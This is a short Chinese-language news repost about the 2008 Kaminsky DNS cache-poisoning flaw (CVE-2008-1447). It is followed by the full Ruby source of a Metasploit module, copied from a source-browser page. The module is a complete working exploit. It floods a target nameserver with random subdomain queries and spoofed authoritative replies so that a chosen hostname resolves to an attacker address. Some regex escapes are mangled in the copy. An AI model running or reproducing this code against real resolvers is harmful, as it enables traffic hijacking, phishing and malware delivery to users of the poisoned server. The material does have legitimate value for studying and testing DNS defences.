Infoworld 报道,著名黑客HD Moore已经率先公布了可用代码.利用这段代码可以对DNS服务器进行投毒,将一条恶意纪录植入目标服务器,该服务器将随机发起域名查询,此时攻击者可以提供伪造的响应,将域名服务器中的纪录指向其特定站点.
这个漏洞攻击可以默默的改变用户的升级服务下载恶意软件,IOActive研究者Dan Kaminsky很早发现漏洞并且无意中这周公布了漏洞使得开发出攻击代码.infoworld.com网站也提醒了这个攻击导致的网络钓鱼欺骗的问题.
攻击代码
--------------------------------------------------------------------------------
Search: LoginSettingsHelp/GuideAbout Trac
WikiTimelineBrowse SourceView TicketsSearchRoadmap
Last Change Revision Log
root/framework3/trunk/modules/auxiliary/spoof/dns/baliwicked_host.rb
View revision: Revision 5579, 10.0 kB (checked in by hdm, 4 days ago)
ZOMG. What is this? >:-)
Property svn:keywords set to Rev Revision Id Header
Line
1 require 'msf/core'
2 require 'net/dns'
3 require 'scruby'
4 require 'resolv'
5
6 module Msf
7
8 class Auxiliary::Spoof::Dns::BaliWickedHost < Msf::Auxiliary
9
10 include Exploit::Remote::Ip
11
12 def initialize(info = {})
13 super(update_info(info,
14 'Name' => 'DNS BaliWicked Attack',
15 'Description' => %q{
16 This exploit attacks a fairly ubiquitous flaw in DNS implementations which
17 Dan Kaminsky found and disclosed ~Jul 2008. This exploit caches a single
18 malicious host entry into the target nameserver by sending random sub-domain
19 queries to the target DNS server coupled with spoofed replies to those
20 queries from the authoritative nameservers for the domain which contain a
21 malicious host entry for the hostname to be poisoned in the authority and
22 additional records sections. Eventually, a guessed ID will match and the
23 spoofed packet will get accepted, and due to the additional hostname entry
24 being within baliwick constraints of the original request the malicious host
25 entry will get cached.
26 },
27 'Author' => [ 'I)ruid', 'hdm' ],
28 'License' => MSF_LICENSE,
29 'Version' => '$Revision$',
30 'References' =>
31 [
32 [ 'CVE', '2008-1447' ],
33 [ 'US-CERT-VU', '8000113' ],
34 [ 'URL', 'http://www.caughq.org/exploits/CAU-EX-2008-0002.html' ],
35 ],
36 'Privileged' => true,
37 'Targets' =>
38 [
39 ["BIND",
40 {
41 'Arch' => ARCH_X86,
42 'Platform' => 'linux',
43 },
44 ],
45 ],
46 'DisclosureDate' => 'Jul 21 2008'
47 ))
48
49 register_options(
50 [
51 OptPort.new('SRCPORT', [true, "The target server's source query port (0 for automatic)", nil]),
52 OptString.new('HOSTNAME', [true, 'Hostname to hijack', 'pwned.doxpara.com']),
53 OptAddress.new('NEWADDR', [true, 'New address for hostname', '1.3.3.7']),
54 OptAddress.new('RECONS', [true, 'Nameserver used for reconnaissance', '208.67.222.222']),
55 OptInt.new('XIDS', [true, 'Number of XIDs to try for each query', 10]),
56 OptInt.new('TTL', [true, 'TTL for the malicious host entry', 31337]),
57 ], self.class)
58
59 end
60
61 def auxiliary_commands
62 return { "check" => "Determine if the specified DNS server (RHOST) is vulnerable" }
63 end
64
65 def cmd_check(*args)
66 targ = args[0] || rhost()
67 if(not (targ and targ.length > 0))
68 print_status("usage: check [dns-server]")
69 return
70 end
71
72 print_status("Using the Metasploit service to verify exploitability...")
73 srv_sock = Rex::Socket.create_udp(
74 'PeerHost' => targ,
75 'PeerPort' => 53
76 )
77
78 random = false
79 ports = []
80 lport = nil
81
82 1.upto(5) do |i|
83
84 req = Resolv::DNS::Message.new
85 txt = "spoofprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
86 req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
87 req.rd = 1
88
89 srv_sock.put(req.encode)
90 res, addr = srv_sock.recvfrom()
91
92
93 if res and res.length > 0
94 res = Resolv::DNS::Message.decode(res)
95 res.each_answer do |name, ttl, data|
96 if (name.to_s == txt and data.strings.join('') =~ /^([^/s]+)/s+.*red/.metasploit/.com/m)
97 t_addr, t_port = $1.split(':')
98
99 print_status(" >> ADDRESS: #{t_addr} PORT: #{t_port}")
100 t_port = t_port.to_i
101 if(lport and lport != t_port)
102 random = true
103 end
104 lport = t_port
105 ports << t_port
106 end
107 end
108 end
109 end
110
111 srv_sock.close
112
113 if(ports.length < 5)
114 print_status("UNKNOWN: This server did not reply to our vulnerability check requests")
115 return
116 end
117
118 if(random)
119 print_status("PASS: This server does not use a static source port. Ports: #{ports.join(", ")}")
120 print_status(" This server may still be exploitable, but not by this tool.")
121 else
122 print_status("FAIL: This server uses static source ports and is vulnerable to poisoning")
123 end
124 end
125
126 def run
127 target = rhost()
128 source = Rex::Socket.source_address(target)
129 sport = datastore['SRCPORT']
130 hostname = datastore['HOSTNAME'] + '.'
131 address = datastore['NEWADDR']
132 recons = datastore['RECONS']
133 xids = datastore['XIDS'].to_i
134 ttl = datastore['TTL'].to_i
135
136 domain = hostname.match(/[^/x2e]+/x2e[^/x2e]+/x2e$/)[0]
137
138 srv_sock = Rex::Socket.create_udp(
139 'PeerHost' => target,
140 'PeerPort' => 53
141 )
142
143 # Get the source port via the metasploit service if it's not set
144 if sport.to_i == 0
145 req = Resolv::DNS::Message.new
146 txt = "spoofprobe-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
147 req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
148 req.rd = 1
149
150 srv_sock.put(req.encode)
151 res, addr = srv_sock.recvfrom()
152
153 if res and res.length > 0
154 res = Resolv::DNS::Message.decode(res)
155 res.each_answer do |name, ttl, data|
156 if (name.to_s == txt and data.strings.join('') =~ /^([^/s]+)/s+.*red/.metasploit/.com/m)
157 t_addr, t_port = $1.split(':')
158 sport = t_port.to_i
159
160 print_status("Switching to target port #{sport} based on Metasploit service")
161 if target != t_addr
162 print_status("Warning: target address #{target} is not the same as the nameserver's query source address #{t_addr}!")
163 end
164 end
165 end
166 end
167 end
168
169 # Verify its not already cached
170 begin
171 query = Resolv::DNS::Message.new
172 query.add_question(hostname, Resolv::DNS::Resource::IN::A)
173 query.rd = 0
174
175 begin
176 cached = false
177 srv_sock.put(query.encode)
178 answer, addr = srv_sock.recvfrom()
179
180 if answer and answer.length > 0
181 answer = Resolv::DNS::Message.decode(answer)
182 answer.each_answer do |name, ttl, data|
183 if((name.to_s + ".") == hostname and data.address.to_s == address)
184 t = Time.now + ttl
185 print_status("Failure: This hostname is already in the target cache: #{name} == #{address}")
186 print_status(" Cache entry expires on #{t.to_s}... sleeping.")
187 cached = true
188 sleep ttl
189 end
190 end
191 end
192 end until not cached
193 rescue ::Interrupt
194 raise $!
195 rescue ::Exception => e
196 print_status("Error checking the DNS name: #{e.class} #{e} #{e.backtrace}")
197 end
198
199 res0 = Net::DNS::Resolver.new(:nameservers => [recons], :dns_search => false, :recursive => true) # reconnaissance resolver
200
201 print_status "Targeting nameserver #{target} for injection of #{hostname} as #{address}"
202
203 # Look up the nameservers for the domain
204 print_status "Querying recon nameserver for #{domain}'s nameservers..."
205 answer0 = res0.send(domain, Net::DNS::NS)
206 #print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities"
207
208 barbs = [] # storage for nameservers
209 answer0.answer.each do |rr0|
210 print_status " Got an #{rr0.type} record: #{rr0.inspect}"
211 if rr0.type == 'NS'
212 print_status "Querying recon nameserver for address of #{rr0.nsdname}..."
213 answer1 = res0.send(rr0.nsdname) # get the ns's answer for the hostname
214 #print_status " Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities"
215 answer1.answer.each do |rr1|
216 print_status " Got an #{rr1.type} record: #{rr1.inspect}"
217 res2 = Net::DNS::Resolver.new(:nameservers => rr1.address, :dns_search => false, :recursive => false, :retry => 1)
218 print_status "Checking Authoritativeness: Querying #{rr1.address} for #{domain}..."
219 answer2 = res2.send(domain)
220 if answer2 and answer2.header.auth? and answer2.header.anCount >= 1
221 nsrec = {:name => rr0.nsdname, :addr => rr1.address}
222 barbs << nsrec
223 print_status " #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as"
224 end
225 end
226 end
227 end
228
229 if barbs.length == 0
230 print_status( "No DNS servers found.")
231 srv_sock.close
232 disconnect_ip
233 return
234 end
235
236 # Flood the target with queries and spoofed responses, one will eventually hit
237 queries = 0
238 responses = 0
239
240 connect_ip if not ip_sock
241
242 print_status( "Attempting to inject a poison record for #{hostname} into #{target}:#{sport}...")
243
244 while true
245 randhost = Rex::Text.rand_text_alphanumeric(12) + '.' + domain # randomize the hostname
246
247 # Send spoofed query
248 req = Resolv::DNS::Message.new
249 req.id = rand(2**16)
250 req.add_question(randhost, Resolv::DNS::Resource::IN::A)
251
252 req.rd = 1
253
254 buff = (
255 Scruby::IP.new(
256 #:src => barbs[0][:addr].to_s,
257 :src => source,
258 :dst => target,
259 :proto => 17
260 )/Scruby::UDP.new(
261 :sport => (rand((2**16)-1024)+1024).to_i,
262 :dport => 53
263 )/req.encode
264 ).to_net
265 ip_sock.sendto(buff, target)
266 queries += 1
267
268 # Send evil spoofed answer from ALL nameservers (barbs[*][:addr])
269 req.add_answer(randhost, ttl, Resolv::DNS::Resource::IN::A.new(address))
270 req.add_authority(domain, ttl, Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(hostname)))
271 req.add_additional(hostname, ttl, Resolv::DNS::Resource::IN::A.new(address))
272 req.qr = 1
273 req.ra = 1
274
275 p = rand(4)+2*10000
276 p.upto(p+xids-1) do |id|
277 req.id = id
278 barbs.each do |barb|
279 buff = (
280 Scruby::IP.new(
281 #:src => barbs[i][:addr].to_s,
282 :src => barb[:addr].to_s,
283 :dst => target,
284 :proto => 17
285 )/Scruby::UDP.new(
286 :sport => 53,
287 :dport => sport.to_i
288 )/req.encode
289 ).to_net
290 ip_sock.sendto(buff, target)
291 responses += 1
292 end
293 end
294
295 # status update
296 if queries % 1000 == 0
297 print_status("Sent #{queries} queries and #{responses} spoofed responses...")
298 end
299
300 # every so often, check and see if the target is poisoned...
301 if queries % 250 == 0
302 begin
303 query = Resolv::DNS::Message.new
304 query.add_question(hostname, Resolv::DNS::Resource::IN::A)
305 query.rd = 0
306
307 srv_sock.put(query.encode)
308 answer, addr = srv_sock.recvfrom()
309
310 if answer and answer.length > 0
311 answer = Resolv::DNS::Message.decode(answer)
312 answer.each_answer do |name, ttl, data|
313 if((name.to_s + ".") == hostname and data.address.to_s == address)
314 print_status("Poisoning successful after #{queries} attempts: #{name} == #{address}")
315 disconnect_ip
316 return
317 end
318 end
319 end
320 rescue ::Interrupt
321 raise $!
322 rescue ::Exception => e
323 print_status("Error querying the DNS name: #{e.class} #{e} #{e.backtrace}")
324 end
325 end
326
327 end
328
329 end
330
331 end
332 end